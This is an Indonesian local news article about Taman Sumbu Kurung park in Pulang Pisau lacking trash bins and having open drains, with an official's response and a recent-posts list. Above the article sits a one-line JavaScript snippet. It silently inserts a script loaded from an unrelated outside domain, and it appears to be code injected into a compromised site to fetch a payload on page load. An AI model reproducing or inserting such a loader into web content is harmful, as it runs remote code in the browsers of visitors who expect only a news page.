(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PILKADA PULPIS

Duh, Taman Sumbu Kurung Tak Memiliki Bak Sampah!


PULANG PISAU, Masalah penanganan sampah rupanya harus menjadi pekerjaan serius bagi pemerintah daerah Pulang Pisau. Bagaimana tidak, jika sebelumnya masyarakat sempat mengeluhkan sampah-sampah yang berserakan, tidak terangkut dalam beberapa hari di sekitar tempat pembuangan sampah (TPS), kini keberadaan Taman Sumbu Kurung juga jadi sorotan. Pasalnya, taman yang berada di Siring sungai dan kerap jadi andalan kunjungan warga tersebut sama sekali tidak memiliki bak sampah.

“Sudah lama sepertinya Taman Sumbu Kurung ini tidak ada bak sampahnya. Padahal banyak orang jual jajanan di sekitar Taman ini, jadinya pengunjung membuang sampah seenaknya aja,” kata Rohiman, salah satu pengunjung Taman Sumbu Kurung.

Seperti Rohiman, Fitriyanti yang juga pengunjung Taman Sumbu Kurung ikut mengeluhkan hilangnya banyak penutup drainase di sekitar Taman. Menurutnya jika tidak segera di ganti drainase yang terbuka tidak aman untuk anak-anak kecil, apalagi saat di malam hari pengunjung bisa saja terpeleset jika tidak posisi drainase yang posisinya terbuka.

“Sangat membahayakan, harusnya Drainase ini jangan sampai terbuka terus. Harus di tutup agar pengunjung bisa aman dan nyaman saat menikmati taman. Selain itu tumpukan pasir bekas sisa-sisa pekerjakan juga belum dirapikan, sangat menggangu pemandangan,” ujar Fitri.

Kabid Kontruksi dan Tata Ruang Dinas Pekerjaan Umum dan Penataan Ruang ( DPUPR) Titien Maria. Foto : istimewa

Terpisah Kabid Kontruksi dan Tata Ruang Dinas Pekerjaan Umum dan Penataan Ruang ( DPUPR) Titien Maria menjelaskan jika hilangnya bak sampah di Taman Sumbu Kurung akibat ulah oknum tidak bertanggung jawab yang kerap merusak fasilitas taman. Dirinya pun berencana untuk mengganti baru bak sampah di taman tersebut.

“Bak sampah yang di situ (taman) sering di rusak, bahkan ada yang dibuang di sungai. Tapi nanti akan kita pasang lagi, sementara tumpukan pasir yang dikeluhkan tadi kita akan segera panggil rekanan yang punya pekerjaan itu untuk membersihkan. Untuk pembersihan sampah sekarang pindah ke Dinas Lingkungan Hidup sudah tidak di PU lagi,” ujar Titien. (Sjy)

Reporter : Sjy
Editor : Chell

Desy Arfianty

Recent Posts

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

1 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

1 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

5 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

5 jam ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

6 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

6 jam ago

This website uses cookies.